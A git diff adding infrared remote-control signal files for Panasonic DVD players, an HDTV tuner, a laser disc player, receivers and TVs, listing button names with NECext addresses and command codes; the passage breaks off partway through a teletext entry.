b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir new file mode 100644 index 000000000..9fd0de4c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir @@ -0,0 +1,554 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SLOW/SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: SLOW/SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: STILL/PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: SLOW_< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 07 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3F 00 00 00 +# +name: HP-V.S.S. +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 45 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP/SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: SKIP/SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: MENU/PLAY_LIST +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: MENU_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: ARROW:_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: ARROW:_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: ARROW:_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: ARROW:_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: >=10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: REPEAT_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8E 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: SUBTITLE_OFF/ON +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 93 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 93 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 95 00 00 00 +# +name: STILL/PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 95 00 00 00 +# +name: DOWN_CURSOR +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 96 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 97 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 97 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 98 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 98 00 00 00 +# +name: FL._DISP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 99 00 00 00 +# +name: FL_DISP. +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 99 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: TOP_MENU/DIRECT_NAV +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: VSS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: V.S.S. +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: SP-V.S.S. +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E0 00 00 00 +# +name: AUDIO_ONLY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E1 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E5 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir new file mode 100644 index 000000000..a741b0c83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A0 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A1 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A2 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A3 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A4 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A5 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A6 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A7 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A8 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 02 00 00 +command: A9 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 80 02 00 00 +command: B6 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 80 02 00 00 +command: B7 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 80 02 00 00 +command: B9 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 02 00 00 +command: BD 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 02 00 00 +command: C3 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 80 02 00 00 +command: C5 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 80 02 00 00 +command: C6 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 80 02 00 00 +command: CA 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 02 00 00 +command: CA 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 80 02 00 00 +command: CB 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 02 00 00 +command: CB 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 80 02 00 00 +command: CD 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 02 00 00 +command: CE 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 80 02 00 00 +command: D1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir new file mode 100644 index 000000000..3d1848b80 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 01 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 04 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 05 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 06 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 0A 00 00 00 +# +name: STILL/STEP_> +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 0C 00 00 00 +# +name: STILL/STEP_< +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 19 00 00 00 +# +name: AUDIO_SELECT +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 33 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 3D 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 46 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 47 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 48 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 49 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 4D 00 00 00 +# +name: TIME_MODE +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 55 00 00 00 +# +name: FP_DISPLAY +type: parsed +protocol: NECext +address: 90 40 00 00 +command: 91 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 90 40 00 00 +command: A0 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 90 40 00 00 +command: A1 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 90 40 00 00 +command: A4 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 90 40 00 00 +command: AA 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 90 40 00 00 +command: AD 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 90 40 00 00 +command: C0 00 00 00 +# +name: SIDE_A +type: parsed +protocol: NECext +address: 90 40 00 00 +command: C3 00 00 00 +# +name: SIDE_B +type: parsed +protocol: NECext +address: 90 40 00 00 +command: C4 00 00 00 +# +name: D/A_CX +type: parsed +protocol: NECext +address: 90 40 00 00 +command: D0 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 90 40 00 00 +command: D2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir new file mode 100644 index 000000000..cb415bfb5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 21 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 32 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 94 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 9A 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 9C 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: A0 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir new file mode 100644 index 000000000..5533a8868 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: A0 1C 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir new file mode 100644 index 000000000..ba746ee50 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: A0 04 00 00 +command: 34 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: A0 04 00 00 +command: 35 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: A0 04 00 00 +command: A4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir new file mode 100644 index 000000000..e998da02a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir @@ -0,0 +1,554 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: INPUT_VIDEO_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: INPUT_VIDEO_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: INPUT_VIDEO_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: INPUT_VIDEO_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: INPUT_SELECT/SCROLL +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: PICTURE_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: SOUND_SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: P-NR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: NORMALIZE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: DIGIT_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: DIGIT_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: DIGIT_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: DIGIT_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: DIGIT_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: DIGIT_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: DIGIT_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: DIGIT_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: DIGIT_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: DIGIT_0/10 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: DIGIT_11 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: DIGIT_12 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: DIGIT_13 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: DIGIT_14 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: DIGIT_15 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: DIGIT_16 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 21 00 00 00 +# +name: VOLUME_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 32 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 33 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 34 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 35 00 00 00 +# +name: CHANNEL_PREVIOUS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 37 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 38 00 00 00 +# +name: INFO_/_RECALL +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 39 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 3D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 3F 00 00 00 +# +name: CONTRAST_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 42 00 00 00 +# +name: CONTRAST_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 43 00 00 00 +# +name: BRIGHTNESS_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 44 00 00 00 +# +name: BRIGHTNESS_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 45 00 00 00 +# +name: CURSOR_ENTER/SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 49 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4F 00 00 00 +# +name: PICTURE_SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 50 00 00 00 +# +name: SOUND_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 52 00 00 00 +# +name: PIP_VOLUME_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 53 00 00 00 +# +name: PIP_VOLUME_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 54 00 00 00 +# +name: PIP_INPUT_SCROLL +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 56 00 00 00 +# +name: PIP_POSITION_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 57 00 00 00 +# +name: PIP_POSITION_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 58 00 00 00 +# +name: PIP_POSITION_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 59 00 00 00 +# +name: PIP_POSITION_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5A 00 00 00 +# +name: PIP_SIZE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5B 00 00 00 +# +name: PIP_FREEZE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5C 00 00 00 +# +name: PIP_TOGGLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5D 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5E 00 00 00 +# +name: PIP_FRAME_ADVANCE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 5F 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 63 00 00 00 +# +name: PIP_CHANNEL_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 64 00 00 00 +# +name: PIP_CHANNEL_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 65 00 00 00 +# +name: PIP_MODE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 66 00 00 00 +# +name: PIP_POSITION_SWITCH +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 67 00 00 00 +# +name: PIP_AUDIO_SWITCH +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 68 00 00 00 +# +name: PIP_REPLAY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 69 00 00 00 +# +name: TUNING +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 6C 00 00 00 +# +name: COLOR_BUTTON_RED +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 70 00 00 00 +# +name: COLOR_BUTTON_GREEN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 71 00 00 00 +# +name: COLOR_BUTTON_YELLOW +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 72 00 00 00 +# +name: COLOR_BUTTON_BLUE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 73 00 00 00 +# +name: INPUT_PC/VGA +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 7A 00 00 00 +# +name: BBE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 7E 00 00 00 +# +name: CLOSED_CAPTION +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 9D 00 00 00 +# +name: CHANNEL_SKIP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 9E 00 00 00 +# +name: LANGUAGE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: A0 00 00 00 +# +name: AUTO_SEARCH +type: parsed +protocol: NECext +address: 80 00 00 00 +command: A6 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: AC 00 00 00 +# +name: GAME_/_ZOOM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: BB 00 00 00 +# +name: PROG_/_DASH +type: parsed +protocol: NECext +address: 80 00 00 00 +command: D0 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: D3 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: D4 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: D5 00 00 00 +# +name: PIP_RECORD +type: parsed +protocol: NECext +address: 80 00 00 00 +command: E0 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: E2 00 00 00 +# +name: PIP_MULTI_WINDOW +type: parsed +protocol: NECext +address: 80 00 00 00 +command: E6 00 00 00 +# +name: PIP_MOVE/ZOOM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: E7 00 00 00 +# +name: VIERA_TOOLS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir new file mode 100644 index 000000000..c92424e2c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: TELETEXT_SELECT +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 00 00 00 00 +# +name: TELETEXT_MIX +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 01 00 00 00 +# +name: TELETEXT_TIME_TEXT +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 03 00 00 00 +# +name: TELETEXT_CANCEL +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 04 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 05 00 00 00 +# +name: TELETEXT_INDEX_/_TIMER +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 08 00 00 00 +# +name: TELETEXT_HOLD +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 09 00 00 00 +# +name: TELETEXT_STORE_LIST +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 0A 00 00 00 +# +name: TELETEXT_SIZE +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 0C 00 00 00 +# +name: TELETEXT_REVEAL +type: parsed 